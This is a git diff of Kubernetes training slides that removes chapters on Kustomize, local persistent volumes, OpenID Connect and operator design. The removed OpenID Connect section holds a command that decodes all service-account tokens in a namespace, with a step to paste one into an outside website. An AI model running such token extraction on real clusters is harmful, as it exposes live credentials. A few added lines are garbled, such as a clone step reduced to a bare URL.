 - There is no `endpoint` object: `type Endpoints struct`
 
 - The type doesn't represent a single endpoint, but a list of endpoints
-
----
-
-## Exposing services to the outside world
-
-- The default type (ClusterIP) only works for internal traffic
-
-- If we want to accept external traffic, we can use one of these:
-
-  - NodePort (expose a service on a TCP port between 30000-32768)
-
-  - LoadBalancer (provision a cloud load balancer for our service)
-
-  - ExternalIP (use one node's external IP address)
-
-  - Ingress (a special mechanism for HTTP services)
-
-*We'll see NodePorts and Ingresses more in detail later.*

slides/k8s/kubectlget.md

@@ -79,8 +79,6 @@
 
 ---
 
-class: extra-details
-
 ## Exploring types and definitions
 
 - We can list all available resource types by running `kubectl api-resources`
@@ -104,11 +102,9 @@ class: extra-details
 
 ---
 
-class: extra-details
-
 ## Introspection vs. documentation
 
-- We can access the same information by reading the [API documentation](https://kubernetes.io/docs/reference/#api-reference)
+- We can access the same information by reading the [API documentation](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.14/)
 
 - The API documentation is usually easier to read, but:
 
@@ -132,7 +128,7 @@ class: extra-details
 
   - short (e.g. `no`, `svc`, `deploy`)
 
-- Some resources do not have a short name
+- Some resources do not have a short names
 
 - `Endpoints` only have a plural form
 
@@ -466,4 +462,4 @@ class: extra-details
 - For more details, see [KEP-0009] or the [node controller documentation]
 
 [KEP-0009]: https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/0009-node-heartbeat.md
-[node controller documentation]: https://kubernetes.io/docs/concepts/architecture/nodes/#node-controller
+[node controller documentation]: https://kubernetes.io/docs/concepts/architecture/nodes/#node-controller

slides/k8s/kubectlproxy.md

@@ -77,9 +77,9 @@ If we wanted to talk to the API, we would need to:
 
 - This is a great tool to learn and experiment with the Kubernetes API
 
-- ... And for serious uses as well (suitable for one-shot scripts)
+- ... And for serious usages as well (suitable for one-shot scripts)
 
-- For unattended use, it's better to create a [service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
+- For unattended use, it is better to create a [service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)
 
 ---
 

slides/k8s/kubectlrun.md

@@ -320,8 +320,6 @@ We could! But the *deployment* would notice it right away, and scale back to the
 
 ---
 
-class: extra-details
-
 ### Streaming logs of many pods
 
 - Let's see what happens if we try to stream the logs for more than 5 pods
@@ -349,8 +347,6 @@ use --max-log-requests to increase the limit
 
 ---
 
-class: extra-details
-
 ## Why can't we stream the logs of many pods?
 
 - `kubectl` opens one connection to the API server per pod

slides/k8s/kubenet.md

@@ -16,8 +16,6 @@
 
  - each pod is aware of its IP address (no NAT)
 
- - pod IP addresses are assigned by the network implementation
-
 - Kubernetes doesn't mandate any particular implementation
 
 ---
@@ -32,7 +30,7 @@
 
 - No new protocol
 
-- The network implementation can decide how to allocate addresses
+- Pods cannot move from a node to another and keep their IP address
 
 - IP addresses don't have to be "portable" from a node to another
 
@@ -54,7 +52,7 @@
 
   (15 are listed in the Kubernetes documentation)
 
-- Pods have level 3 (IP) connectivity, but *services* are level 4 (TCP or UDP)
+- Pods have level 3 (IP) connectivity, but *services* are level 4
 
   (Services map to a single UDP or TCP port; no port ranges or arbitrary IP packets)
 
@@ -84,17 +82,13 @@
 
 ---
 
-class: extra-details
-
 ## The Container Network Interface (CNI)
 
-- Most Kubernetes clusters use CNI "plugins" to implement networking
+- The CNI has a well-defined [specification](https://github.com/containernetworking/cni/blob/master/SPEC.md#network-configuration) for network plugins
 
-- When a pod is created, Kubernetes delegates the network setup to these plugins
+- When a pod is created, Kubernetes delegates the network setup to CNI plugins
 
-  (it can be a single plugin, or a combination of plugins, each doing one task)
-
-- Typically, CNI plugins will:
+- Typically, a CNI plugin will:
 
   - allocate an IP address (by calling an IPAM plugin)
 
@@ -102,46 +96,8 @@ class: extra-details
 
   - configure the interface as well as required routes etc.
 
----
+- Using multiple plugins can be done with "meta-plugins" like CNI-Genie or Multus
 
-class: extra-details
+- Not all CNI plugins are equal
 
-## Multiple moving parts
-
-- The "pod-to-pod network" or "pod network":
-
-  - provides communication between pods and nodes
-
-  - is generally implemented with CNI plugins
-
-- The "pod-to-service network":
-
-  - provides internal communication and load balancing
-
-  - is generally implemented with kube-proxy (or e.g. kube-router)
-
-- Network policies:
-
-  - provide firewalling and isolation
-
-  - can be bundled with the "pod network" or provided by another component
-
----
-
-class: extra-details
-
-## Even more moving parts
-
-- Inbound traffic can be handled by multiple components:
-
-  - something like kube-proxy or kube-router (for NodePort services)
-
-  - load balancers (ideally, connected to the pod network)
-
-- It is possible to use multiple pod networks in parallel
-
-  (with "meta-plugins" like CNI-Genie or Multus)
-
-- Some solutions can fill multiple roles
-
-  (e.g. kube-router can be set up to provide the pod network and/or network policies and/or replace kube-proxy)
+  (e.g. they don't all implement network policies, which are required to isolate pods)

slides/k8s/kustomize.md

@@ -1,194 +0,0 @@
-# Kustomize
-
-- Kustomize lets us transform YAML files representing Kubernetes resources
-
-- The original YAML files are valid resource files
-
-  (e.g. they can be loaded with `kubectl apply -f`)
-
-- They are left untouched by Kustomize
-
-- Kustomize lets us define *overlays* that extend or change the resource files
-
----
-
-## Differences with Helm
-
-- Helm charts use placeholders `{{ like.this }}`
-
-- Kustomize "bases" are standard Kubernetes YAML
-
-- It is possible to use an existing set of YAML as a Kustomize base
-
-- As a result, writing a Helm chart is more work ...
-
-- ... But Helm charts are also more powerful; e.g. they can:
-
-  - use flags to conditionally include resources or blocks
-
-  - check if a given Kubernetes API group is supported
-
-  - [and much more](https://helm.sh/docs/chart_template_guide/)
-
----
-
-## Kustomize concepts
-
-- Kustomize needs a `kustomization.yaml` file
-
-- That file can be a *base* or a *variant*
-
-- If it's a *base*:
-
-  - it lists YAML resource files to use
-
-- If it's a *variant* (or *overlay*):
-
-  - it refers to (at least) one *base*
-
-  - and some *patches*
-
----
-
-## An easy way to get started with Kustomize
-
-- We are going to use [Replicated Ship](https://www.replicated.com/ship/) to experiment with Kustomize
-
-- The [Replicated Ship CLI](https://github.com/replicatedhq/ship/releases) has been installed on our clusters
-
-- Replicated Ship has multiple workflows; here is what we will do:
-
-  - initialize a Kustomize overlay from a remote GitHub repository
-
-  - customize some values using the web UI provided by Ship
-
-  - look at the resulting files and apply them to the cluster
-
----
-
-## Getting started with Ship
-
-- We need to run `ship init` in a new directory
-
-- `ship init` requires a URL to a remote repository containing Kubernetes YAML
-
-- It will clone that repository and start a web UI
-
-- Later, it can watch that repository and/or update from it
-
-- We will use the [jpetazzo/kubercoins](https://github.com/jpetazzo/kubercoins) repository
-
-  (it contains all the DockerCoins resources as YAML files)
-
----
-
-## `ship init`
-
-.exercise[
-
-- Change to a new directory:
-  ```bash
-  mkdir ~/kustomcoins
-  cd ~/kustomcoins
-  ```
-
-- Run `ship init` with the kustomcoins repository:
-  ```bash
-  ship init https://github.com/jpetazzo/kubercoins
-  ```
-
-]
-
----
-
-## Access the web UI
-
-- `ship init` tells us to connect on `localhost:8800`
-
-- We need to replace `localhost` with the address of our node
-
-  (since we run on a remote machine)
-
-- Follow the steps in the web UI, and change one parameter
-
-  (e.g. set the number of replicas in the worker Deployment)
-
-- Complete the web workflow, and go back to the CLI
-
----
-
-## Inspect the results
-
-- Look at the content of our directory
-
-- `base` contains the kubercoins repository + a `kustomization.yaml` file
-
-- `overlays/ship` contains the Kustomize overlay referencing the base + our patch(es)
-
-- `rendered.yaml` is a YAML bundle containing the patched application
-
-- `.ship` contains a state file used by Ship
-
----
-
-## Using the results
-
-- We can `kubectl apply -f rendered.yaml`
-
-  (on any version of Kubernetes)
-
-- Starting with Kubernetes 1.14, we can apply the overlay directly with:
-  ```bash
-  kubectl apply -k overlays/ship
-  ```
-
-- But let's not do that for now!
-
-- We will create a new copy of DockerCoins in another namespace
-
----
-
-## Deploy DockerCoins with Kustomize
-
-.exercise[
-
-- Create a new namespace:
-  ```bash
-  kubectl create namespace kustomcoins
-  ```
-
-- Deploy DockerCoins:
-  ```bash
-  kubectl apply -f rendered.yaml --namespace=kustomcoins
-  ```
-
-- Or, with Kubernetes 1.14, you can also do this:
-  ```bash
-  kubectl apply -k overlays/ship --namespace=kustomcoins
-  ```
-
-]
-
----
-
-## Checking our new copy of DockerCoins
-
-- We can check the worker logs, or the web UI
-
-.exercise[
-
-- Retrieve the NodePort number of the web UI:
-  ```bash
-  kubectl get service webui --namespace=kustomcoins
-  ```
-
-- Open it in a web browser
-
-- Look at the worker logs:
-  ```bash
-  kubectl logs deploy/worker --tail=10 --follow --namespace=kustomcoins
-  ```
-
-]
-
-Note: it might take a minute or two for the worker to start.

slides/k8s/lastwords-admin.md

@@ -120,7 +120,7 @@
 
 - Team "build" ships ready-to-run manifests
 
-  (YAML, Helm charts, Kustomize ...)
+  (YAML, Helm Charts, Kustomize ...)
 
 - Team "run" adjusts some parameters and monitors the application 
 

slides/k8s/local-persistent-volumes.md

@@ -1,268 +0,0 @@
-# Local Persistent Volumes
-
-- We want to run that Consul cluster *and* actually persist data
-
-- But we don't have a distributed storage system
-
-- We are going to use local volumes instead
-
-  (similar conceptually to `hostPath` volumes)
-
-- We can use local volumes without installing extra plugins
-
-- However, they are tied to a node
-
-- If that node goes down, the volume becomes unavailable
-
----
-
-## With or without dynamic provisioning
-
-- We will deploy a Consul cluster *with* persistence
-
-- That cluster's StatefulSet will create PVCs
-
-- These PVCs will remain unbound¹, until we will create local volumes manually
-
-  (we will basically do the job of the dynamic provisioner)
-
-- Then, we will see how to automate that with a dynamic provisioner
-
-.footnote[¹Unbound = without an associated Persistent Volume.]
-
----
-
-## If we have a dynamic provisioner ...
-
-- The labs in this section assume that we *do not* have a dynamic provisioner
-
-- If we do have one, we need to disable it
-
-.exercise[
-
-- Check if we have a dynamic provisioner:
-  ```bash
-  kubectl get storageclass
-  ```
-
-- If the output contains a line with `(default)`, run this command:
-  ```bash
-  kubectl annotate sc storageclass.kubernetes.io/is-default-class- --all
-  ```
-
-- Check again that it is no longer marked as `(default)`
-
-]
-
----
-
-## Work in a separate namespace
-
-- To avoid conflicts with existing resources, let's create and use a new namespace
-
-.exercise[
-
-- Create a new namespace:
-  ```bash
-  kubectl create namespace orange
-  ```
-
-- Switch to that namespace:
-  ```bash
-  kns orange
-  ```
-
-]
-
-.warning[Make sure to call that namespace `orange`: it is hardcoded in the YAML files.]
-
----
-
-## Deploying Consul
-
-- We will use a slightly different YAML file
-
-- The only differences between that file and the previous one are:
-
-  - `volumeClaimTemplate` defined in the Stateful Set spec
-
-  - the corresponding `volumeMounts` in the Pod spec
-
-  - the namespace `orange` used for discovery of Pods
-
-.exercise[
-
-- Apply the persistent Consul YAML file:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/persistent-consul.yaml
-  ```
-
-]
-
----
-
-## Observing the situation
-
-- Let's look at Persistent Volume Claims and Pods
-
-.exercise[
-
-- Check that we now have an unbound Persistent Volume Claim:
-  ```bash
-  kubectl get pvc
-  ```
-
-- We don't have any Persistent Volume:
-  ```bash
-  kubectl get pv
-  ```
-
-- The Pod `consul-0` is not scheduled yet:
-  ```bash
-  kubectl get pods -o wide
-  ```
-
-]
-
-*Hint: leave these commands running with `-w` in different windows.*
-
----
-
-## Explanations
-
-- In a Stateful Set, the Pods are started one by one
-
-- `consul-1` won't be created until `consul-0` is running
-
-- `consul-0` has a dependency on an unbound Persistent Volume Claim
-
-- The scheduler won't schedule the Pod until the PVC is bound
-
-  (because the PVC might be bound to a volume that is only available on a subset of nodes; for instance EBS are tied to an availability zone)
-
----
-
-## Creating Persistent Volumes
-
-- Let's create 3 local directories (`/mnt/consul`) on node2, node3, node4
-
-- Then create 3 Persistent Volumes corresponding to these directories
-
-.exercise[
-
-- Create the local directories:
-  ```bash
-    for NODE in node2 node3 node4; do
-      ssh $NODE sudo mkdir -p /mnt/consul
-    done
-  ```
-
-- Create the PV objects:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/volumes-for-consul.yaml
-  ```
-
-]
-
----
-
-## Check our Consul cluster
-
-- The PVs that we created will be automatically matched with the PVCs
-
-- Once a PVC is bound, its pod can start normally
-
-- Once the pod `consul-0` has started, `consul-1` can be created, etc.
-
-- Eventually, our Consul cluster is up, and backend by "persistent" volumes
-
-.exercise[
-
-- Check that our Consul clusters has 3 members indeed:
-  ```bash
-  kubectl exec consul-0 consul members
-  ```
-
-]
-
----
-
-## Devil is in the details (1/2)
-
-- The size of the Persistent Volumes is bogus
-
-  (it is used when matching PVs and PVCs together, but there is no actual quota or limit)
-
----
-
-## Devil is in the details (2/2)
-
-- This specific example worked because we had exactly 1 free PV per node:
-
-  - if we had created multiple PVs per node ...
-
-  - we could have ended with two PVCs bound to PVs on the same node ...
-
-  - which would have required two pods to be on the same node ...
-
-  - which is forbidden by the anti-affinity constraints in the StatefulSet
-
-- To avoid that, we need to associated the PVs with a Storage Class that has:
-  ```yaml
-  volumeBindingMode: WaitForFirstConsumer
-  ```
-  (this means that a PVC will be bound to a PV only after being used by a Pod)
-
-- See [this blog post](https://kubernetes.io/blog/2018/04/13/local-persistent-volumes-beta/) for more details
-
----
-
-## Bulk provisioning
-
-- It's not practical to manually create directories and PVs for each app
-
-- We *could* pre-provision a number of PVs across our fleet
-
-- We could even automate that with a Daemon Set:
-
-  - creating a number of directories on each node
-
-  - creating the corresponding PV objects
-
-- We also need to recycle volumes
-
-- ... This can quickly get out of hand
-
----
-
-## Dynamic provisioning
-
-- We could also write our own provisioner, which would:
-
-  - watch the PVCs across all namespaces
-
-  - when a PVC is created, create a corresponding PV on a node
-
-- Or we could use one of the dynamic provisioners for local persistent volumes
-
-  (for instance the [Rancher local path provisioner](https://github.com/rancher/local-path-provisioner))
-
----
-
-## Strategies for local persistent volumes
-
-- Remember, when a node goes down, the volumes on that node become unavailable
-
-- High availability will require another layer of replication
-
-  (like what we've just seen with Consul; or primary/secondary; etc)
-
-- Pre-provisioning PVs makes sense for machines with local storage
-
-  (e.g. cloud instance storage; or storage directly attached to a physical machine)
-
-- Dynamic provisioning makes sense for large number of applications
-
-  (when we can't or won't dedicate a whole disk to a volume)
-
-- It's possible to mix both (using distinct Storage Classes)

slides/k8s/localkubeconfig.md

@@ -6,24 +6,6 @@
 
 ---
 
-## Requirements
-
-.warning[The exercises in this chapter should be done *on your local machine*.]
-
-- `kubectl` is officially available on Linux, macOS, Windows
-
-  (and unofficially anywhere we can build and run Go binaries)
-
-- You may skip these exercises if you are following along from:
-
-  - a tablet or phone
-
-  - a web-based terminal
-
-  - an environment where you can't install and run new binaries
-
----
-
 ## Installing `kubectl`
 
 - If you already have `kubectl` on your local machine, you can skip this
@@ -34,11 +16,11 @@
 
 - Download the `kubectl` binary from one of these links:
 
-  [Linux](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/linux/amd64/kubectl)
+  [Linux](https://storage.googleapis.com/kubernetes-release/release/v1.14.0/bin/linux/amd64/kubectl)
   |
-  [macOS](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/darwin/amd64/kubectl)
+  [macOS](https://storage.googleapis.com/kubernetes-release/release/v1.14.0/bin/darwin/amd64/kubectl)
   |
-  [Windows](https://storage.googleapis.com/kubernetes-release/release/v1.14.2/bin/windows/amd64/kubectl.exe)
+  [Windows](https://storage.googleapis.com/kubernetes-release/release/v1.14.0/bin/windows/amd64/kubectl.exe)
 
 - On Linux and macOS, make the binary executable with `chmod +x kubectl`
 
@@ -75,24 +57,17 @@ Platform:"linux/amd64"}
 
 ---
 
-## Preserving the existing `~/.kube/config`
+## Moving away the existing `~/.kube/config`
 
-- If you already have a `~/.kube/config` file, rename it
+- If you already have a `~/.kube/config` file, move it away
 
   (we are going to overwrite it in the following slides!)
 
 - If you never used `kubectl` on your machine before: nothing to do!
 
-.exercise[
+- If you already used `kubectl` to control a Kubernetes cluster before:
 
-- Make a copy of `~/.kube/config`; if you are using macOS or Linux, you can do:
-  ```bash
-  cp ~/.kube/config ~/.kube/config.before.training
-  ```
-
-- If you are using Windows, you will need to adapt this command
-
-]
+  - rename `~/.kube/config` to e.g. `~/.kube/config.bak`
 
 ---
 
@@ -192,4 +167,4 @@ class: extra-details
 
 ]
 
-We can now utilize the cluster exactly as we did before, except that it's remote.
+We can now utilize the cluster exactly as we did before, ignoring that it's remote.

slides/k8s/namespaces.md

@@ -1,65 +1,26 @@
 # Namespaces
 
-- We would like to deploy another copy of DockerCoins on our cluster
+- We would like to deploy multiple copies of our demo app
 
-- We could rename all our deployments and services:
-
-  hasher → hasher2, redis → redis2, rng → rng2, etc.
-
-- That would require updating the code
-
-- There has to be a better way!
+- But we cannot have two resources with the same name ... Or can we ?
 
 --
 
-- As hinted by the title of this section, we will use *namespaces*
+- We cannot have two resources *of the same type* with the same name
 
----
-
-## Identifying a resource
-
-- We cannot have two resources with the same name
-
-  (or can we...?)
+  (But it's OK to have a `rng` service, a `rng` deployment, and a `rng` daemon set!)
 
 --
 
-- We cannot have two resources *of the same kind* with the same name
+- We cannot have two resources of the same type with the same name *in the same namespace*
 
-  (but it's OK to have an `rng` service, an `rng` deployment, and an `rng` daemon set)
+  (But it's OK to have e.g. two `rng` services in different namespaces!)
 
 --
 
-- We cannot have two resources of the same kind with the same name *in the same namespace*
+- In other words: **the tuple *(type, name, namespace)* needs to be unique**
 
-  (but it's OK to have e.g. two `rng` services in different namespaces)
-
---
-
-- Except for resources that exist at the *cluster scope*
-
-  (these do not belong to a namespace)
-
----
-
-## Uniquely identifying a resource
-
-- For *namespaced* resources:
-
-  the tuple *(kind, name, namespace)* needs to be unique
-
-- For resources at the *cluster scope*:
-
-  the tuple *(kind, name)* needs to be unique
-
-.exercise[
-
-- List resource types again, and check the NAMESPACED column:
-  ```bash
-  kubectl api-resources
-  ```
-
-]
+  (In the resource YAML, the type is called `Kind`)
 
 ---
 
@@ -81,16 +42,12 @@
 
 ## Creating namespaces
 
-- Let's see two identical methods to create a namespace
-
-.exercise[
-
-- We can use `kubectl create namespace`:
+- Creating a namespace is done with the `kubectl create namespace` command:
   ```bash
   kubectl create namespace blue
   ```
 
-- Or we can construct a very minimal YAML snippet:
+- We can also get fancy and use a very minimal YAML snippet, e.g.:
   ```bash
 	kubectl apply -f- <<EOF
 	apiVersion: v1
@@ -100,9 +57,9 @@
 	EOF
   ```
 
-]
+- The two methods above are identical
 
-- Some tools like Helm will create namespaces automatically when needed
+- If we are using a tool like Helm, it will create namespaces automatically
 
 ---
 
@@ -198,7 +155,7 @@
 
 ## Using our new namespace
 
-- Let's check that we are in our new namespace, then deploy a new copy of Dockercoins
+- Let's check that we are in our new namespace
 
 .exercise[
 
@@ -211,28 +168,26 @@
 
 ---
 
-## Deploying DockerCoins with YAML files
+## Deploying another copy of DockerCoins
 
-- The GitHub repository `jpetazzo/kubercoins` contains everything we need!
+- We will use YAML definitions from a GitHub repository:
+
+  https://github.com/jpetazzo/kubercoins
 
 .exercise[
 
-- Clone the kubercoins repository:
+- Clone kubercoins:
   ```bash
-  cd ~
-  git clone https://github.com/jpetazzo/kubercoins
+  https://github.com/jpetazzo/kubercoins
   ```
 
-- Create all the DockerCoins resources:
+- Deploy it:
   ```bash
-  kubectl create -f kubercoins
+  kubectl apply -f kubercoins
   ```
-
 ]
 
-If the argument behind `-f` is a directory, all the files in that directory are processed. 
-
-The subdirectories are *not* processed, unless we also add the `-R` flag.
+Note how `kubectl apply` can work on a whole directory!
 
 ---
 
@@ -251,7 +206,7 @@ The subdirectories are *not* processed, unless we also add the `-R` flag.
 
 ]
 
-If the graph shows up but stays at zero, give it a minute or two!
+If the graph shows up but stays at zero, check the next slide!
 
 ---
 

slides/k8s/openid-connect.md

@@ -1,377 +0,0 @@
-# OpenID Connect
-
-- The Kubernetes API server can perform authentication with OpenID connect
-
-- This requires an *OpenID provider*
-
-  (external authorization server using the OAuth 2.0 protocol)
-
-- We can use a third-party provider (e.g. Google) or run our own (e.g. Dex)
-
-- We are going to give an overview of the protocol
-
-- We will show it in action (in a simplified scenario)
-
----
-
-## Workflow overview
-
-- We want to access our resources (a Kubernetes cluster)
-
-- We authenticate with the OpenID provider
-
-  - we can do this directly (e.g. by going to https://accounts.google.com)
-
-  - or maybe a kubectl plugin can open a browser page on our behalf
-
-- After authenticating us, the OpenID provider gives us:
-
-  - an *id token* (a short-lived signed JSON Web Token, see next slide)
-
-  - a *refresh token* (to renew the previous one when needed)
-
-- We can now issue requests to the Kubernetes API with the *id token*
-
-- The API server will verify that token's content to authenticate us
-
----
-
-## JSON Web Tokens
-
-- A JSON Web Token (JWT) has three parts:
-
-  - a header specifying algorithms and token type
-
-  - a payload (indicating who issued the token, for whom, which purposes...)
-
-  - a signature generated by the issuer (the issuer = the OpenID provider)
-
-- Anyone can verify a JWT without contacting the issuer
-
-  (except to obtain the issuer's public key)
-
-- Pro tip: we can inspect a JWT with https://jwt.io/
-
----
-
-## How the Kubernetes API uses JWT
-
-- Server side
-
-  - enable OIDC authentication
-
-  - indicate which issuer (provider) should be allowed
-
-  - indicate which audience (or "client id") should be allowed
-
-  - if necessary, map or prefix user and group names
-
-- Client side
-
-  - obtain JWT as described earlier
-
-  - pass JWT as authentication token
-
-  - renew JWT when needed (using the refresh token)
-
----
-
-## Demo time!
-
-- We will use [Google Accounts](https://accounts.google.com) as our OpenID provider
-
-- We will use the [Google OAuth Playground](https://developers.google.com/oauthplayground) as the "audience" or "client id"
-
-- We will obtain a JWT through Google Accounts and the OAuth Playground
-
-- We will enable OIDC in the Kubernetes API server
-
-- We will use the JWT to authenticate
-
-.footnote[If you can't or won't use a Google Account, you can try to adapt to another provider.]
-
----
-
-## Checking the API server logs
-
-- The API server logs will be particularly useful in this section
-
-  (they will indicate e.g. why a specific token is rejected)
-
-- Let's keep an eye on the API server output!
-
-.exercise[
-
-- Tail the logs of the API server:
-  ```bash
-  kubectl logs kube-apiserver-node1 --follow --namespace=kube-system
-  ```
-
-]
-
----
-
-## Authenticate with the OpenID provider
-
-- We will use the Google OAuth Playground for convenience
-
-- In a real scenario, we would need our own OAuth client instead of the playground
-
-  (even if we were still using Google as the OpenID provider)
-
-.exercise[
-
-- Open the Google OAuth Playground:
-  ```
-  https://developers.google.com/oauthplayground/
-  ```
-
-- Enter our own custom scope in the text field:
-  ```
-  https://www.googleapis.com/auth/userinfo.email
-  ```
-
-- Click on "Authorize APIs" and allow the playground to access our email address
-
-]
-
----
-
-## Obtain our JSON Web Token
-
-- The previous step gave us an "authorization code"
-
-- We will use it to obtain tokens
-
-.exercise[
-
-- Click on "Exchange authorization code for tokens"
-
-]
-
-- The JWT is the very long `id_token` that shows up on the right hand side
-
-  (it is a base64-encoded JSON object, and should therefore start with `eyJ`)
-
----
-
-## Using our JSON Web Token
-
-- We need to create a context (in kubeconfig) for our token
-
-  (if we just add the token or use `kubectl --token`, our certificate will still be used)
-
-.exercise[
-
-- Create a new authentication section in kubeconfig:
-  ```bash
-  kubectl config set-credentials myjwt --token=eyJ...
-  ```
-
-- Try to use it:
-  ```bash
-  kubectl --user=myjwt get nodes
-  ```
-
-]
-
-We should get an `Unauthorized` response, since we haven't enabled OpenID Connect in the API server yet. We should also see `invalid bearer token` in the API server log output.
-
----
-
-## Enabling OpenID Connect
-
-- We need to add a few flags to the API server configuration
-
-- These two are mandatory:
-
-  `--oidc-issuer-url` → URL of the OpenID provider
-
-  `--oidc-client-id` → app requesting the authentication
-  <br/>(in our case, that's the ID for the Google OAuth Playground)
-
-- This one is optional:
-
-  `--oidc-username-claim` → which field should be used as user name
-  <br/>(we will use the user's email address instead of an opaque ID)
-
-- See the [API server documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#configuring-the-api-server
-) for more details about all available flags
-
----
-
-## Updating the API server configuration
-
-- The instructions below will work for clusters deployed with kubeadm
-
-  (or where the control plane is deployed in static pods)
-
-- If your cluster is different, you will need to adapt them
-
-.exercise[
-
-- Edit `/etc/kubernetes/manifests/kube-apiserver.yaml`
-
-- Add the following lines to the list of command-line flags:
-  ```yaml
-  - --oidc-issuer-url=https://accounts.google.com
-  - --oidc-client-id=407408718192.apps.googleusercontent.com
-  - --oidc-username-claim=email
-  ```
-]
-
----
-
-## Restarting the API server
-
-- The kubelet monitors the files in `/etc/kubernetes/manifests`
-
-- When we save the pod manifest, kubelet will restart the corresponding pod
-
-  (using the updated command line flags)
-
-.exercise[
-
-- After making the changes described on the previous slide, save the file
-
-- Issue a simple command (like `kubectl version`) until the API server is back up
-
-  (it might take between a few seconds and one minute for the API server to restart)
-
-- Restart the `kubectl logs` command to view the logs of the API server
-
-]
-
----
-
-## Using our JSON Web Token
-
-- Now that the API server is set up to recognize our token, try again!
-
-.exercise[
-
-- Try an API command with our token:
-  ```bash
-  kubectl --user=myjwt get nodes
-  kubectl --user=myjwt get pods
-  ```
-
-]
-
-We should see a message like:
-```
-Error from server (Forbidden): nodes is forbidden: User "jean.doe@gmail.com"
-cannot list resource "nodes" in API group "" at the cluster scope
-```
-
-→ We were successfully *authenticated*, but not *authorized*.
-
----
-
-## Authorizing our user
-
-- As an extra step, let's grant read access to our user
-
-- We will use the pre-defined ClusterRole `view`
-
-.exercise[
-
-- Create a ClusterRoleBinding allowing us read access to the cluster:
-  ```bash
-    kubectl create clusterrolebinding i-can-view \
-            --user=`jean.doe@gmail.com` --clusterrole=view
-  ```
-
-- Confirm that we can now list pods with our token:
-   ```bash
-  kubectl --user=myjwt get pods
-  ```
-
-]
-
----
-
-## From demo to production
-
-.warning[This was a very simplified demo! In a real deployment...]
-
-- We wouldn't use the Google OAuth Playground
-
-- We *probably* wouldn't even use Google at all
-
-  (it doesn't seem to provide a way to include groups!)
-
-- Some popular alternatives:
-
-  - [Dex](https://github.com/dexidp/dex),
-    [Keycloak](https://www.keycloak.org/)
-    (self-hosted)
-
-  - [Okta](https://developer.okta.com/docs/how-to/creating-token-with-groups-claim/#step-five-decode-the-jwt-to-verify)
-    (SaaS)
-
-- We would use a helper (like the [kubelogin](https://github.com/int128/kubelogin) plugin) to automatically obtain tokens
-
----
-
-class: extra-details
-
-## Service Account tokens
-
-- The tokens used by Service Accounts are JWT tokens as well
-
-- They are signed and verified using a special service account key pair
-
-.exercise[
-
-- Extract the token of a service account in the current namespace:
-  ```bash
-  kubectl get secrets -o jsonpath={..token} | base64 -d
-  ```
-
-- Copy-paste the token to a verification service like https://jwt.io 
-
-- Notice that it says "Invalid Signature"
-
-]
-
----
-
-class: extra-details
-
-## Verifying Service Account tokens
-
-- JSON Web Tokens embed the URL of the "issuer" (=OpenID provider)
-
-- The issuer provides its public key through a well-known discovery endpoint
-
-  (similar to https://accounts.google.com/.well-known/openid-configuration)
-
-- There is no such endpoint for the Service Account key pair
-
-- But we can provide the public key ourselves for verification
-
----
-
-class: extra-details
-
-## Verifying a Service Account token
-
-- On clusters provisioned with kubeadm, the Service Account key pair is:
-
-  `/etc/kubernetes/pki/sa.key` (used by the controller manager to generate tokens)
-
-  `/etc/kubernetes/pki/sa.pub` (used by the API server to validate the same tokens)
-
-.exercise[
-
-- Display the public key used to sign Service Account tokens:
-  ```bash
-  sudo cat /etc/kubernetes/pki/sa.pub
-  ```
-
-- Copy-paste the key in the "verify signature" area on https://jwt.io
-
-- It should now say "Signature Verified"
-
-]

slides/k8s/operators-design.md

@@ -1,356 +0,0 @@
-## Operator design (extra material)
-
-- Writing a quick-and-dirty operator, or a POC/MVP, is easy
-
-- Writing a robust operator is hard
-
-- We will describe the general idea
-
-- We will identify some of the associated challenges
-
-- We will list a few tools that can help us
-
----
-
-## Top-down vs. bottom-up
-
-- Both approaches are possible
-
-- Let's see what they entail, and their respective pros and cons
-
----
-
-## Top-down approach
-
-- Start with high-level design (see next slide)
-
-- Pros:
-
-  - can yield cleaner design that will be more robust
-
-- Cons:
-
-  - must be able to anticipate all the events that might happen
-
-  - design will be better only to the extend of what we anticipated
-
-  - hard to anticipate if we don't have production experience
-
----
-
-## High-level design
-
-- What are we solving?
-
-  (e.g.: geographic databases backed by PostGIS with Redis caches)
-
-- What are our use-cases, stories?
-
-  (e.g.: adding/resizing caches and read replicas; load balancing queries)
-
-- What kind of outage do we want to address?
-
-  (e.g.: loss of individual node, pod, volume)
-
-- What are our *non-features*, the things we don't want to address?
-
-  (e.g.: loss of datacenter/zone; differentiating between read and write queries;
-  <br/>
-  cache invalidation; upgrading to newer major versions of Redis, PostGIS, PostgreSQL)
-
----
-
-## Low-level design
-
-- What Custom Resource Definitions do we need?
-
-  (one, many?)
-
-- How will we store configuration information?
-
-  (part of the CRD spec fields, annotations, other?)
-
-- Do we need to store state? If so, where?
-
-  - state that is small and doesn't change much can be stored via the Kubernetes API
-    <br/>
-    (e.g.: leader information, configuration, credentials)
-
-  - things that are big and/or change a lot should go elsewhere
-    <br/>
-    (e.g.: metrics, bigger configuration file like GeoIP)
-
----
-
-class: extra-details
-
-## What can we store via the Kubernetes API?
-
-- The API server stores most Kubernetes resources into etcd
-
-- Etcd is designed for reliability, not for performance
-
-- If our storage needs exceed what etcd can offer, we need to use something else:
-
-  - either directly
-
-  - or by extending the API server
-    <br/>(for instance by using the agregation layer, like [metrics server](https://github.com/kubernetes-incubator/metrics-server) does)
-
----
-
-## Bottom-up approach
-
-- Start with existing Kubernetes resources (Deployment, Stateful Set...)
-
-- Run the system in production
-
-- Add scripts, automation, to facilitate day-to-day operations
-
-- Turn the scripts into an operator
-
-- Pros: simpler to get started; reflects actual use-cases
-
-- Cons: can result in convoluted designs requiring extensive refactor
-
----
-
-## General idea
-
-- Our operator will watch its CRDs *and associated resources*
-
-- Drawing state diagrams and finite state automata helps a lot
-
-- It's OK if some transitions lead to a big catch-all "human intervention"
-
-- Over time, we will learn about new failure modes and add to these diagrams
-
-- It's OK to start with CRD creation / deletion and prevent any modification
-
-  (that's the easy POC/MVP we were talking about)
-
-- *Presentation* and *validation* will help our users
-
-  (more on that later)
